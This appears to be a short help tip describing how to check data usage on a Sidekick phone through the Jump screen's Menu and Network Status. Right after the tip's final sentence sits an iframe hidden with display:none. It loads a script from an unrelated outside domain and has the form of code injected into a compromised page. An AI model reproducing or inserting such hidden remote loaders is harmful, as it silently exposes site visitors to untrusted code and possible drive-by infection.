With the current unlimited plan, it's not as important to track data usage on a Sidekick, as compared with other pdaPhones that charge per MB. But, if you are curious, you can track your usage by doing the following:

From the Jump screen, hit Menu and select Network Status, then type Menu-M.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>